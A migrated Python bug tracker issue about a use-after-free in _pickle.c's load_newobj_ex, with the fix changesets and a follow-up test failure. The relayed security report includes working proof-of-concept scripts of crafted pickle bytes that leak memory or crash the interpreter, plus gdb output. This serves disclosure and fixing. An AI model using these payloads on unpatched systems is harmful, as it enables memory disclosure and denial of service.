use after free in load_newobj_ex

[benjaminp]

BPO	24552
Nosy	@vstinner, @benjaminp

^{Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state.}

Show more details

GitHub fields:

assignee = None
closed_at = <Date 2015-07-02.21:59:22.546>
created_at = <Date 2015-07-02.21:17:46.754>
labels = ['extension-modules', 'type-crash']
title = 'use after free in load_newobj_ex'
updated_at = <Date 2015-07-05.21:32:51.045>
user = 'https://github.com/benjaminp'

bugs.python.org fields:

activity = <Date 2015-07-05.21:32:51.045>
actor = 'Arfrever'
assignee = 'none'
closed = True
closed_date = <Date 2015-07-02.21:59:22.546>
closer = 'python-dev'
components = ['Extension Modules']
creation = <Date 2015-07-02.21:17:46.754>
creator = 'benjamin.peterson'
dependencies = []
files = []
hgrepos = []
issue_num = 24552
keywords = []
message_count = 4.0
messages = ['246098', '246099', '246100', '246101']
nosy_count = 4.0
nosy_names = ['vstinner', 'benjamin.peterson', 'Arfrever', 'python-dev']
pr_nums = []
priority = 'critical'
resolution = 'fixed'
stage = 'resolved'
status = 'closed'
superseder = None
type = 'crash'
url = 'https://bugs.python.org/issue24552'
versions = ['Python 3.4', 'Python 3.5', 'Python 3.6']

[benjaminp]

From Kurucsai Istvan on the security list:

I. Summary

There is a use-after-free in the load_newobj_ex function in _pickle.c that results in an arbitrary read.

II. Source code

The functions in question:
static int
load_newobj_ex(UnpicklerObject *self)
{
    PyObject *cls, *args, *kwargs;
    PyObject *obj;
    PickleState *st = _Pickle_GetGlobalState();

    PDATA_POP(self->stack, kwargs);
    if (kwargs == NULL) {
        return -1;
    }
    PDATA_POP(self->stack, args);
    if (args == NULL) {
        Py_DECREF(kwargs);
        return -1;
    }
    PDATA_POP(self->stack, cls);
    if (cls == NULL) {
        Py_DECREF(kwargs);
        Py_DECREF(args);
        return -1;
    }

1.  if (!PyType_Check(cls)) {
        Py_DECREF(kwargs);
        Py_DECREF(args);
2.      Py_DECREF(cls);
        PyErr_Format(st->UnpicklingError,
                     "NEWOBJ_EX class argument must be a type, not %.200s",
3.                   Py_TYPE(cls)->tp_name);
        return -1;
    }

1. if cls is not a type object.
2. cls and its type object are freed.
3. Py_TYPE(cls)->tp_name is controlled after the free due to Python memory management internals, allowing arbitrary memory addresses to be leaked in the exception text.

III. Proof of concept

The following PoC demonstrates the bug by leaking the beginning of the ELF header of the python binary by using the following pickle:
0: F FLOAT -17.0
5: G BINFLOAT 4.850517136297445e-270
14: \x8a LONG1 -19433009197182618361932444855909718650799116435779157138706600511804357054621081254113158779140316034172772336611031765078550355689018943570873089549265771354179136777133140299700701757440
94: \x92 NEWOBJ_EX
95: . STOP
highest protocol among opcodes = 4

root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# cat /opt/newobj_ex.py 
import pickle
b = b"\x46\x2D\x31\x37\x0A\x47"
# read address, beginning of the ELF header of the python binary
b += b"\x08\x04\x80\x00"
b +=  b"\xE0\xFC\xBD\x8D\x8A\x4E\x00\x00\x00\x77\x55\x73\x41\xDE\x8D\xEA\x43\xDD\xB9\xDE\x10\xAE\x84\xAE\x15\x69\x3C\x9A\x34\x9C\x1B\x06\xE9\x68\x84\x5E\x3E\x74\x55\x55\x01\x5F\x65\x2E\x93\x83\x2D\x14\x36\x40\xA9\xEA\xAD\xFE\x77\x2D\x0F\x37\x8F\xE2\xFB\x18\xD6\x89\xDC\x75\x53\xB3\x15\xF1\x56\x17\x2F\x21\x78\x02\x7A\xBB\x95\x7B\x82\x40\x8A\xB8\x92."
pickle.loads(b)
root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# file python
python: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=e1a1b72a0e3093b61de9de9bb58b3ca031aeb9b6, not stripped
root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# ./python
Python 3.6.0a0 (default, Jun 29 2015, 22:03:19) 
[GCC 4.8.2] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 
root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# ./python /opt/newobj_ex.py 
Traceback (most recent call last):
  File "/opt/newobj_ex.py", line 4, in <module>
    pickle.loads(b)
_pickle.UnpicklingError: NEWOBJ_EX class argument must be a type, not �ELF
root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# 

By changing the read address, a segfault can be triggered:

root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# cat /opt/newobj_ex_crash.py
import pickle
b = b"\x46\x2D\x31\x37\x0A\x47"
# read address
b += b"\x41\x41\x41\x41"
b +=b"\xE0\xFC\xBD\x8D\x8A\x4E\x00\x00\x00\x77\x55\x73\x41\xDE\x8D\xEA\x43\xDD\xB9\xDE\x10\xAE\x84\xAE\x15\x69\x3C\x9A\x34\x9C\x1B\x06\xE9\x68\x84\x5E\x3E\x74\x55\x55\x01\x5F\x65\x2E\x93\x83\x2D\x14\x36\x40\xA9\xEA\xAD\xFE\x77\x2D\x0F\x37\x8F\xE2\xFB\x18\xD6\x89\xDC\x75\x53\xB3\x15\xF1\x56\x17\x2F\x21\x78\x02\x7A\xBB\x95\x7B\x82\x40\x8A\xB8\x92."
pickle.loads(b)
root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# gdb --silent ./python
Reading symbols from ./python...done.
(gdb) r /opt/newobj_ex_crash.py
Starting program: /opt/cpython/cpython-d792dc240456-150629/python /opt/newobj_ex_crash.py
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x081431dd in unicode_fromformat_write_cstr (writer=writer@entry=0xffffd11c, str=0x41414141 <error: Cannot access memory at address 0x41414141>, width=width@entry=-1, precision=precision@entry=200) at Objects/unicodeobject.c:2368
2368 length = strlen(str);
(gdb) bt
#0 0x081431dd in unicode_fromformat_write_cstr (writer=writer@entry=0xffffd11c, str=0x41414141 <error: Cannot access memory at address 0x41414141>, width=width@entry=-1, precision=precision@entry=200) at Objects/unicodeobject.c:2368
#1 0x08143a2a in unicode_fromformat_arg (writer=writer@entry=0xffffd11c, f=0xf7b9f632 "s", f@entry=0xf7b9f62d "%.200s", vargs=vargs@entry=0xffffd118) at Objects/unicodeobject.c:2583
#2 0x08144018 in PyUnicode_FromFormatV (format=<optimized out>, format@entry=0xf7b9f600 "NEWOBJ_EX class argument must be a type, not %.200s", vargs=vargs@entry=0xffffd198 "AAAA/T\271\367~(\312\367\310\025\321\367\270H=\b\001")
at Objects/unicodeobject.c:2701
#3 0x0819badc in PyErr_FormatV (exception=exception@entry=<type at remote 0xf7bdfd8c>, format=format@entry=0xf7b9f600 "NEWOBJ_EX class argument must be a type, not %.200s",
vargs=vargs@entry=0xffffd198 "AAAA/T\271\367~(\312\367\310\025\321\367\270H=\b\001") at Python/errors.c:785
#4 0x0819b289 in PyErr_Format (exception=<type at remote 0xf7bdfd8c>, format=format@entry=0xf7b9f600 "NEWOBJ_EX class argument must be a type, not %.200s") at Python/errors.c:802
#5 0xf7b9c4cb in load_newobj_ex (self=self@entry=0xf7c74424) at /opt/cpython/cpython-d792dc240456-150629/Modules/_pickle.c:5283
#6 0xf7b9d48c in load (self=self@entry=0xf7c74424) at /opt/cpython/cpython-d792dc240456-150629/Modules/_pickle.c:6186
#7 0xf7b9d809 in _pickle_loads_impl (module=module@entry=0xf7be22f4,
data=b'F-17\nGAAAA\xe0\xfc\xbd\x8d\x8aN\x00\x00\x00wUsA\xde\x8d\xeaC\xdd\xb9\xde\x10\xae\x84\xae\x15i<\x9a4\x9c\x1b\x06\xe9h\x84^>tUU\x01_e.\x93\x83-\x146@\xa9\xea\xad\xfew-\x0f7\x8f\xe2\xfb\x18\xd6\x89\xdcuS\xb3\x15\xf1V\x17/!x\x02z\xbb\x95{\x82@\x8a\xb8\x92.', fix_imports=1, encoding=0xf7b9fa42 "ASCII", errors=0xf7b9fa48 "strict") at /opt/cpython/cpython-d792dc240456-150629/Modules/_pickle.c:7132
#8 0xf7b9d955 in _pickle_loads (module=module@entry=0xf7be22f4,
args=args@entry=(b'F-17\nGAAAA\xe0\xfc\xbd\x8d\x8aN\x00\x00\x00wUsA\xde\x8d\xeaC\xdd\xb9\xde\x10\xae\x84\xae\x15i<\x9a4\x9c\x1b\x06\xe9h\x84^>tUU\x01_e.\x93\x83-\x146@\xa9\xea\xad\xfew-\x0f7\x8f\xe2\xfb\x18\xd6\x89\xdcuS\xb3\x15\xf1V\x17/!x\x02z\xbb\x95{\x82@\x8a\xb8\x92.',), kwargs=kwargs@entry=0x0) at /opt/cpython/cpython-d792dc240456-150629/Modules/clinic/_pickle.c.h:543
<<SNIP>>

[python-dev]

New changeset 24ce32d76376 by Benjamin Peterson in branch '3.4':
fix use after free (closes bpo-24552)
https://hg.python.org/cpython/rev/24ce32d76376

New changeset 24197b5f7126 by Benjamin Peterson in branch '3.5':
merge 3.4 (bpo-24552)
https://hg.python.org/cpython/rev/24197b5f7126

New changeset 32486bb59e7e by Benjamin Peterson in branch 'default':
merge 3.5 (bpo-24552)
https://hg.python.org/cpython/rev/32486bb59e7e

[vstinner]

Buildbots are not happy. Example:

http://buildbot.python.org/all/builders/AMD64%20FreeBSD%2010.0%203.5/builds/57/steps/test/logs/stdio

======================================================================
ERROR: test_newobj_not_class (test.test_pickletools.OptimizedPickleTests)
----------------------------------------------------------------------

Traceback (most recent call last):
  File "/usr/home/buildbot/python/3.5.koobs-freebsd10/build/Lib/test/pickletester.py", line 1046, in test_newobj_not_class
    o = object.__new__(SimpleNewObj)
TypeError: object.__new__(SimpleNewObj) is not safe, use SimpleNewObj.__new__()

---

[python-dev]

New changeset 978bc1ff43a7 by Benjamin Peterson in branch '3.4':
use correct __new__ method (closes bpo-24552)
https://hg.python.org/cpython/rev/978bc1ff43a7